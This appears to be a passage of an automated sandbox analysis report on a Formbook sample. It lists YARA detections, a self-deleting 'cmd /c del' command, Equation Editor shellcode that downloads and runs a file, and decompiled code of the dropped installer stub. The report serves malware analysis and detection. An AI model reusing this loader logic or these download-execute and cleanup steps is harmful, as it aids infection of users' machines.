00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2972, Parent PID: 792

General

Target ID:	9
Start time:	17:08:28
Start date:	13/05/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\AppData\Local\Temp\bmexo.exe"
Imagebase:	0x49d30000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: EQNEDT32.EXEPID: 900, Parent PID: 576COMMON

Execution Graph

Execution Coverage:	22%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	64%
Total number of Nodes:	161
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 035D048A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 96
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(035D047C), ref: 035D048A

Part of subcall function 035D04A4: URLDownloadToFileW.URLMON(00000000,035D04B5,?,00000000,00000000), ref: 035D050D
Part of subcall function 035D04A4: ShellExecuteExW.SHELL32(0000003C), ref: 035D0577
Part of subcall function 035D04A4: ExitProcess.KERNEL32(00000000), ref: 035D058F

Strings

<, xrefs: 035D0521

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileLibraryLoadProcessShell
String ID: <
API String ID: 2508257586-4251816714
Opcode ID: 9ccb5035057099be711a01443de9ff6ed063a4c97c623e1e17d4317a6f5189e4
Instruction ID: 596d87f5fbdc6f2768144f5032e7cec7b0fcbcaafba7830b0875e752bfb8fd75
Opcode Fuzzy Hash: 9ccb5035057099be711a01443de9ff6ed063a4c97c623e1e17d4317a6f5189e4
Instruction Fuzzy Hash: 1831BCE280D3C11FD733D7389C6969ABFA47F93210F1889CED8C64A4E3E6689501C712

Uniqueness

Uniqueness Score: -1.00%

Function 035D041A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 142
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,035D04B5,?,00000000,00000000), ref: 035D050D
ShellExecuteExW.SHELL32(0000003C), ref: 035D0577
ExitProcess.KERNEL32(00000000), ref: 035D058F

Strings

<, xrefs: 035D0521

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID: <
API String ID: 3584569557-4251816714
Opcode ID: d5f385a17b452ee4a22e457fc4c247a05a9c49c1dd349752f7b6fb0355ce510c
Instruction ID: 7361159d2c5b6898473b9589df56e2905a0da340fe745af009da460c53bc2191
Opcode Fuzzy Hash: d5f385a17b452ee4a22e457fc4c247a05a9c49c1dd349752f7b6fb0355ce510c
Instruction Fuzzy Hash: 8741CFA580D3C15FD722D738AD69696BF60BF53200F4C8ACED8C64B1F3D6689105C752

Uniqueness

Uniqueness Score: -1.00%

Function 035D03FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 125
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,035D04B5,?,00000000,00000000), ref: 035D050D
ShellExecuteExW.SHELL32(0000003C), ref: 035D0577
ExitProcess.KERNEL32(00000000), ref: 035D058F

Strings

<, xrefs: 035D0521

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID: <
API String ID: 3584569557-4251816714
Opcode ID: 49a94e86a8770fc17195f680066e23f45b051e69b97363311493ed90d71f7e2a
Instruction ID: f4349a8f0b26001faa6cf30969546a596e9f44e83660bdb3c2cbffea30169452
Opcode Fuzzy Hash: 49a94e86a8770fc17195f680066e23f45b051e69b97363311493ed90d71f7e2a
Instruction Fuzzy Hash: 9B419DA580D3C15FC723D738AC69696BFA47F93200F188ACFD8C64B4E3E6689505C752

Uniqueness

Uniqueness Score: -1.00%

Function 035D04A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<, xrefs: 035D0521

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID: <
API String ID: 3584569557-4251816714
Opcode ID: 0376f9c17cf50bd03b7457996a0481c395617d7867d88a76ee2b94b831304bfa
Instruction ID: 7fcab591c204690a443da628c83f31bff68b0ba31dbb05401d39aaf09042ad08
Opcode Fuzzy Hash: 0376f9c17cf50bd03b7457996a0481c395617d7867d88a76ee2b94b831304bfa
Instruction Fuzzy Hash: 743169E680D3C15FD733D7389C68696BFA47F96210F5889CE98C64A4E3EA689401C712

Uniqueness

Uniqueness Score: -1.00%

Function 035D050B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,035D04B5,?,00000000,00000000), ref: 035D050D

Part of subcall function 035D0555: ShellExecuteExW.SHELL32(0000003C), ref: 035D0577
Part of subcall function 035D0555: ExitProcess.KERNEL32(00000000), ref: 035D058F

Strings

<, xrefs: 035D0521

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID: <
API String ID: 3584569557-4251816714
Opcode ID: 41f9daba8561a70db53e067a2fb0e12596d7092a8b99f8b45ea691832e1404c1
Instruction ID: bf64f3cc1cd52e316383634034718274ab66448eaa04c0d27d91a86e0c813b8b
Opcode Fuzzy Hash: 41f9daba8561a70db53e067a2fb0e12596d7092a8b99f8b45ea691832e1404c1
Instruction Fuzzy Hash: FB01F2E540D3805AD371EB38E8987AABFE0BFC0210F0409599C86871F2D938C5048B06

Uniqueness

Uniqueness Score: -1.00%

Function 035D0555 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: e449b059f35ec37d498585a96fd9926a6281ad73fbaca2b8919475d45b3c2b42
Instruction ID: 0d5a1e84642a8be351b85d6d3b64bc84072ae325e1da5e38c87cfad7f109e566
Opcode Fuzzy Hash: e449b059f35ec37d498585a96fd9926a6281ad73fbaca2b8919475d45b3c2b42
Instruction Fuzzy Hash: 6C01ADD848930664DA70F62CE4481BAAE90FB91710FDC8997AC92470F5D5289583CB2E

Uniqueness

Uniqueness Score: -1.00%

Function 035D056C Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 035D0577

Part of subcall function 035D058A: ExitProcess.KERNEL32(00000000), ref: 035D058F

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 3e3e05e3a10e0b329dbe111682049233d00d728cb39c331fd52637c740ff1eff
Instruction ID: 02e4f7d7e9c92e7be568e5f9e9500d68baf318374b069b6d454dd16fdcc6d84e
Opcode Fuzzy Hash: 3e3e05e3a10e0b329dbe111682049233d00d728cb39c331fd52637c740ff1eff
Instruction Fuzzy Hash: EDF0AFC998424251DB30E66CF8556FAAF55FB91310FCC88979C92470F5D52891C38B6A

Uniqueness

Uniqueness Score: -1.00%

Function 035D058A Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 035D058F

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 035D0591 Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction ID: e6497bfa2f2ab9d4b1b03695e82783f70b9e7a22076a485739677ca4449748a3
Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction Fuzzy Hash: 4ED05EB5201502CFC314EB08D940E12F37AFFC8211F14C264E4004B669C330E891CB90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 035D03E5 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(035D03D3), ref: 035D03E5

Memory Dump Source

Source File: 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0576eebe9327ac3463b2cf115f2459228ef26862ba91320d0537bede91d031dc
Instruction ID: dffc8af2f70df689c8cb2743f028308e893a9d5dee391408388ea44fa20c41ac
Opcode Fuzzy Hash: 0576eebe9327ac3463b2cf115f2459228ef26862ba91320d0537bede91d031dc
Instruction Fuzzy Hash: E8E0DF1480E7C15FC622E37C3AAA464BF30BE47100F2808EA80820F0B3E066876A93D2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 2520, Parent PID: 900COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.3%
Total number of Nodes:	1372
Total number of Limit Nodes:	22

Executed Functions

Function 00403646 Relevance: 82.7, APIs: 34, Strings: 13, Instructions: 450
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			_entry_() {
				WCHAR* _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				int _v24;
				int _v28;
				struct _TOKEN_PRIVILEGES _v40;
				signed char _v42;
				int _v44;
				signed int _v48;
				intOrPtr _v278;
				signed short _v310;
				struct _OSVERSIONINFOW _v324;
				struct _SHFILEINFOW _v1016;
				intOrPtr* _t88;
				intOrPtr* _t94;
				void _t97;
				void* _t116;
				WCHAR* _t118;
				signed int _t119;
				intOrPtr* _t123;
				void* _t137;
				void* _t143;
				void* _t148;
				void* _t152;
				void* _t157;
				signed int _t167;
				void* _t170;
				void* _t175;
				intOrPtr _t177;
				intOrPtr _t178;
				intOrPtr* _t179;
				int _t188;
				void* _t189;
				void* _t198;
				signed int _t204;
				signed int _t209;
				signed int _t214;
				int* _t218;
				signed int _t226;
				signed int _t229;
				CHAR* _t231;
				signed int _t233;
				WCHAR* _t234;

				0x7b3000 = 0x20;
				_t188 = 0;
				_v24 = 0;
				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
				_v20 = 0;
				SetErrorMode(0x8001); // executed
				_v324.szCSDVersion = 0;
				_v48 = 0;
				_v44 = 0;
				_v324.dwOSVersionInfoSize = 0x11c;
				if(GetVersionExW( &_v324) == 0) {
					_v324.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v324);
					asm("sbb eax, eax");
					_v42 = 4;
					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
				}
				if(_v324.dwMajorVersion < 0xa) {
					_v310 = _v310 & 0x00000000;
				}
				 *0x7a8b58 = _v324.dwBuildNumber;
				 *0x7a8b5c = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
				if( *0x7a8b5e != 0x600) {
					_t179 = E00406A3B(_t188);
					if(_t179 != _t188) {
						 *_t179(0xc00);
					}
				}
				_t231 = "UXTHEME";
				do {
					E004069CB(_t231); // executed
					_t231 =  &(_t231[lstrlenA(_t231) + 1]);
				} while ( *_t231 != 0);
				E00406A3B(0xb);
				 *0x7a8aa4 = E00406A3B(9);
				_t88 = E00406A3B(7);
				if(_t88 != _t188) {
					_t88 =  *_t88(0x1e);
					if(_t88 != 0) {
						 *0x7a8b5c =  *0x7a8b5c | 0x00000080;
					}
				}
				__imp__#17();
				__imp__OleInitialize(_t188); // executed
				 *0x7a8b60 = _t88;
				SHGetFileInfoW(0x79ff48, _t188,  &_v1016, 0x2b4, _t188); // executed
				E0040666E(0x7a7aa0, L"NSIS Error");
				E0040666E(0x7b3000, GetCommandLineW());
				_t94 = 0x7b3000;
				_t233 = 0x22;
				 *0x7a8aa0 = 0x400000;
				if( *0x7b3000 == _t233) {
					_t94 = 0x7b3002;
				}
				_t198 = CharNextW(E00405F6A(_t94, 0x7b3000));
				_v16 = _t198;
				while(1) {
					_t97 =  *_t198;
					_t251 = _t97 - _t188;
					if(_t97 == _t188) {
						break;
					}
					_t209 = 0x20;
					__eflags = _t97 - _t209;
					if(_t97 != _t209) {
						L17:
						__eflags =  *_t198 - _t233;
						_v12 = _t209;
						if( *_t198 == _t233) {
							_v12 = _t233;
							_t198 = _t198 + 2;
							__eflags = _t198;
						}
						__eflags =  *_t198 - 0x2f;
						if( *_t198 != 0x2f) {
							L32:
							_t198 = E00405F6A(_t198, _v12);
							__eflags =  *_t198 - _t233;
							if(__eflags == 0) {
								_t198 = _t198 + 2;
								__eflags = _t198;
							}
							continue;
						} else {
							_t198 = _t198 + 2;
							__eflags =  *_t198 - 0x53;
							if( *_t198 != 0x53) {
								L24:
								asm("cdq");
								asm("cdq");
								_t214 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t226 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t214;
								__eflags =  *_t198 - (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214);
								if( *_t198 != (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214)) {
									L29:
									asm("cdq");
									asm("cdq");
									_t209 = L" /D=" & 0x0000ffff;
									asm("cdq");
									_t229 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t209;
									__eflags =  *(_t198 - 4) - (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209);
									if( *(_t198 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209)) {
										L31:
										_t233 = 0x22;
										goto L32;
									}
									__eflags =  *_t198 - _t229;
									if( *_t198 == _t229) {
										 *(_t198 - 4) = _t188;
										__eflags = _t198;
										E0040666E(0x7b3800, _t198);
										L37:
										_t234 = L"C:\\Users\\Albus\\AppData\\Local\\Temp\\";
										GetTempPathW(0x400, _t234);
										_t116 = E00403615(_t198, _t251);
										_t252 = _t116;
										if(_t116 != 0) {
											L40:
											DeleteFileW(L"1033"); // executed
											_t118 = E004030D0(_t254, _v20); // executed
											_v8 = _t118;
											if(_t118 != _t188) {
												L68:
												ExitProcess(); // executed
												__imp__OleUninitialize(); // executed
												if(_v8 == _t188) {
													if( *0x7a8b34 == _t188) {
														L77:
														_t119 =  *0x7a8b4c;
														if(_t119 != 0xffffffff) {
															_v24 = _t119;
														}
														ExitProcess(_v24);
													}
													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
														LookupPrivilegeValueW(_t188, L"SeShutdownPrivilege",  &(_v40.Privileges));
														_v40.PrivilegeCount = 1;
														_v28 = 2;
														AdjustTokenPrivileges(_v16, _t188,  &_v40, _t188, _t188, _t188);
													}
													_t123 = E00406A3B(4);
													if(_t123 == _t188) {
														L75:
														if(ExitWindowsEx(2, 0x80040002) != 0) {
															goto L77;
														}
														goto L76;
													} else {
														_push(0x80040002);
														_push(0x25);
														_push(_t188);
														_push(_t188);
														_push(_t188);
														if( *_t123() == 0) {
															L76:
															E0040140B(9);
															goto L77;
														}
														goto L75;
													}
												}
												E00405CCE(_v8, 0x200010);
												ExitProcess(2);
											}
											if( *0x7a8abc == _t188) {
												L51:
												 *0x7a8b4c =  *0x7a8b4c | 0xffffffff;
												_v24 = E00403D1D(_t264);
												goto L68;
											}
											_t218 = E00405F6A(0x7b3000, _t188);
											if(_t218 < 0x7b3000) {
												L48:
												_t263 = _t218 - 0x7b3000;
												_v8 = L"Error launching installer";
												if(_t218 < 0x7b3000) {
													_t189 = E00405C39(__eflags);
													lstrcatW(_t234, L"~nsu");
													__eflags = _t189;
													if(_t189 != 0) {
														lstrcatW(_t234, "A");
													}
													lstrcatW(_t234, L".tmp");
													_t137 = lstrcmpiW(_t234, 0x7b4800);
													__eflags = _t137;
													if(_t137 == 0) {
														L67:
														_t188 = 0;
														__eflags = 0;
														goto L68;
													} else {
														__eflags = _t189;
														_push(_t234);
														if(_t189 == 0) {
															E00405C1C();
														} else {
															E00405B9F();
														}
														SetCurrentDirectoryW(_t234);
														__eflags =  *0x7b3800;
														if( *0x7b3800 == 0) {
															E0040666E(0x7b3800, 0x7b4800);
														}
														E0040666E(0x7a9000, _v16);
														_t201 = "A" & 0x0000ffff;
														_t143 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
														__eflags = _t143;
														_v12 = 0x1a;
														 *0x7a9800 = _t143;
														do {
															E004066AB(0, 0x79f748, _t234, 0x79f748,  *((intOrPtr*)( *0x7a8ab0 + 0x120)));
															DeleteFileW(0x79f748);
															__eflags = _v8;
															if(_v8 != 0) {
																_t148 = CopyFileW(0x7b6800, 0x79f748, 1);
																__eflags = _t148;
																if(_t148 != 0) {
																	E0040642E(_t201, 0x79f748, 0);
																	E004066AB(0, 0x79f748, _t234, 0x79f748,  *((intOrPtr*)( *0x7a8ab0 + 0x124)));
																	_t152 = E00405C51(0x79f748);
																	__eflags = _t152;
																	if(_t152 != 0) {
																		CloseHandle(_t152);
																		_v8 = 0;
																	}
																}
															}
															 *0x7a9800 =  *0x7a9800 + 1;
															_t61 =  &_v12;
															 *_t61 = _v12 - 1;
															__eflags =  *_t61;
														} while ( *_t61 != 0);
														E0040642E(_t201, _t234, 0);
														goto L67;
													}
												}
												 *_t218 = _t188;
												_t221 =  &(_t218[2]);
												_t157 = E00406045(_t263,  &(_t218[2]));
												_t264 = _t157;
												if(_t157 == 0) {
													goto L68;
												}
												E0040666E(0x7b3800, _t221);
												E0040666E(0x7b4000, _t221);
												_v8 = _t188;
												goto L51;
											}
											asm("cdq");
											asm("cdq");
											asm("cdq");
											_t204 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
											_t167 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t209 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
											while( *_t218 != _t204 || _t218[1] != _t167) {
												_t218 = _t218;
												if(_t218 >= 0x7b3000) {
													continue;
												}
												break;
											}
											_t188 = 0;
											goto L48;
										}
										GetWindowsDirectoryW(_t234, 0x3fb);
										lstrcatW(_t234, L"\\Temp");
										_t170 = E00403615(_t198, _t252);
										_t253 = _t170;
										if(_t170 != 0) {
											goto L40;
										}
										GetTempPathW(0x3fc, _t234);
										lstrcatW(_t234, L"Low");
										SetEnvironmentVariableW(L"TEMP", _t234);
										SetEnvironmentVariableW(L"TMP", _t234);
										_t175 = E00403615(_t198, _t253);
										_t254 = _t175;
										if(_t175 == 0) {
											goto L68;
										}
										goto L40;
									}
									goto L31;
								}
								__eflags =  *((intOrPtr*)(_t198 + 4)) - _t226;
								if( *((intOrPtr*)(_t198 + 4)) != _t226) {
									goto L29;
								}
								_t177 =  *((intOrPtr*)(_t198 + 8));
								__eflags = _t177 - 0x20;
								if(_t177 == 0x20) {
									L28:
									_t36 =  &_v20;
									 *_t36 = _v20 | 0x00000004;
									__eflags =  *_t36;
									goto L29;
								}
								__eflags = _t177 - _t188;
								if(_t177 != _t188) {
									goto L29;
								}
								goto L28;
							}
							_t178 =  *((intOrPtr*)(_t198 + 2));
							__eflags = _t178 - _t209;
							if(_t178 == _t209) {
								L23:
								 *0x7a8b40 = 1;
								goto L24;
							}
							__eflags = _t178 - _t188;
							if(_t178 != _t188) {
								goto L24;
							}
							goto L23;
						}
					} else {
						goto L16;
					}
					do {
						L16:
						_t198 = _t198 + 2;
						__eflags =  *_t198 - _t209;
					} while ( *_t198 == _t209);
					goto L17;
				}
				goto L37;
			}

0x00403654
0x00403655
0x0040365c
0x0040365f
0x00403666
0x00403669
0x0040367c
0x00403682
0x00403685
0x00403688
0x00403696
0x0040369e
0x004036a9
0x004036c2
0x004036c4
0x004036cc
0x004036cc
0x004036d7
0x004036d9
0x004036d9
0x004036ee
0x00403713
0x00403721
0x00403724
0x0040372b
0x00403732
0x00403732
0x0040372b
0x00403734
0x00403739
0x0040373a
0x00403746
0x0040374a
0x00403751
0x0040375f
0x00403764
0x0040376b
0x0040376f
0x00403773
0x00403775
0x00403775
0x00403773
0x0040377c
0x00403783
0x00403789
0x004037a1
0x004037b1
0x004037c3
0x004037ca
0x004037cc
0x004037cd
0x004037de
0x004037e2
0x004037e2
0x004037f5
0x004037f7
0x004038f1
0x004038f1
0x004038f4
0x004038f7
0x00000000
0x00000000
0x00403801
0x00403802
0x00403805
0x0040380e
0x0040380e
0x00403811
0x00403814
0x00403817
0x0040381a
0x0040381a
0x0040381a
0x0040381b
0x0040381f
0x004038df
0x004038e8
0x004038ea
0x004038ed
0x004038f0
0x004038f0
0x004038f0
0x00000000
0x00403825
0x00403826
0x00403827
0x0040382b
0x00403845
0x0040384c
0x0040385f
0x00403860
0x00403875
0x0040387a
0x0040387c
0x0040387e
0x0040389a
0x004038a1
0x004038b4
0x004038b5
0x004038ca
0x004038d0
0x004038d2
0x004038d4
0x004038dc
0x004038de
0x00000000
0x004038de
0x004038d8
0x004038da
0x004038ff
0x00403903
0x0040390c
0x00403911
0x00403917
0x00403922
0x00403924
0x00403929
0x0040392b
0x00403983
0x00403988
0x00403991
0x00403998
0x0040399b
0x00403b72
0x00403b72
0x00403b77
0x00403b80
0x00403b9d
0x00403c15
0x00403c15
0x00403c1d
0x00403c1f
0x00403c1f
0x00403c25
0x00403c25
0x00403bb4
0x00403bc0
0x00403bd1
0x00403bd8
0x00403bdf
0x00403bdf
0x00403be7
0x00403bf3
0x00403c01
0x00403c0c
0x00000000
0x00000000
0x00000000
0x00403bf5
0x00403bf5
0x00403bf6
0x00403bf8
0x00403bf9
0x00403bfa
0x00403bff
0x00403c0e
0x00403c10
0x00000000
0x00403c10
0x00000000
0x00403bff
0x00403bf3
0x00403b8a
0x00403b91
0x00403b91
0x004039a7
0x00403a4e
0x00403a4e
0x00403a5a
0x00000000
0x00403a5a
0x004039b8
0x004039c0
0x00403a12
0x00403a12
0x00403a18
0x00403a1f
0x00403a6d
0x00403a6f
0x00403a74
0x00403a76
0x00403a7e
0x00403a7e
0x00403a89
0x00403a95
0x00403a9b
0x00403a9d
0x00403b70
0x00403b70
0x00403b70
0x00000000
0x00403aa3
0x00403aa3
0x00403aa5
0x00403aa6
0x00403aaf
0x00403aa8
0x00403aa8
0x00403aa8
0x00403ab5
0x00403abd
0x00403ac4
0x00403acc
0x00403acc
0x00403ad9
0x00403ae5
0x00403aef
0x00403aef
0x00403af1
0x00403af8
0x00403b02
0x00403b0e
0x00403b14
0x00403b1a
0x00403b1d
0x00403b27
0x00403b2d
0x00403b2f
0x00403b33
0x00403b44
0x00403b4a
0x00403b4f
0x00403b51
0x00403b54
0x00403b5a
0x00403b5a
0x00403b51
0x00403b2f
0x00403b5d
0x00403b64
0x00403b64
0x00403b64
0x00403b64
0x00403b6b
0x00000000
0x00403b6b
0x00403a9d
0x00403a21
0x00403a24
0x00403a28
0x00403a2d
0x00403a2f
0x00000000
0x00000000
0x00403a3b
0x00403a46
0x00403a4b
0x00000000
0x00403a4b
0x004039c9
0x004039e1
0x004039f2
0x004039f3
0x004039f7
0x004039f9
0x00403a07
0x00403a0e
0x00000000
0x00000000
0x00000000
0x00403a0e
0x00403a10
0x00000000
0x00403a10
0x00403933
0x0040393f
0x00403944
0x00403949
0x0040394b
0x00000000
0x00000000
0x00403953
0x0040395b
0x0040396c
0x00403974
0x00403976
0x0040397b
0x0040397d
0x00000000
0x00000000
0x00000000
0x0040397d
0x00000000
0x004038da
0x00403883
0x00403885
0x00000000
0x00000000
0x00403887
0x0040388b
0x0040388f
0x00403896
0x00403896
0x00403896
0x00403896
0x00000000
0x00403896
0x00403891
0x00403894
0x00000000
0x00000000
0x00000000
0x00403894
0x0040382d
0x00403831
0x00403834
0x0040383b
0x0040383b
0x00000000
0x0040383b
0x00403836
0x00403839
0x00000000
0x00000000
0x00000000
0x00403839
0x00000000
0x00000000
0x00000000
0x00403807
0x00403807
0x00403808
0x00403809
0x00403809
0x00000000
0x00403807
0x00000000

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403669
GetVersionExW.KERNEL32(?), ref: 00403692
GetVersionExW.KERNEL32(0000011C), ref: 004036A9
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403740
#17.COMCTL32(00000007,00000009,0000000B), ref: 0040377C
OleInitialize.OLE32(00000000), ref: 00403783
SHGetFileInfoW.SHELL32(0079FF48,00000000,?,000002B4,00000000), ref: 004037A1
GetCommandLineW.KERNEL32(007A7AA0,NSIS Error), ref: 004037B6
CharNextW.USER32(00000000), ref: 004037EF
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 00403922
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403933
lstrcatW.KERNEL32 ref: 0040393F
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\), ref: 00403953
lstrcatW.KERNEL32 ref: 0040395B
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040396C
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403974
DeleteFileW.KERNELBASE(1033), ref: 00403988
lstrcatW.KERNEL32 ref: 00403A6F
lstrcatW.KERNEL32 ref: 00403A7E

Part of subcall function 00405C1C: CreateDirectoryW.KERNELBASE(?,00000000,00403639,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403929), ref: 00405C22

lstrcatW.KERNEL32 ref: 00403A89
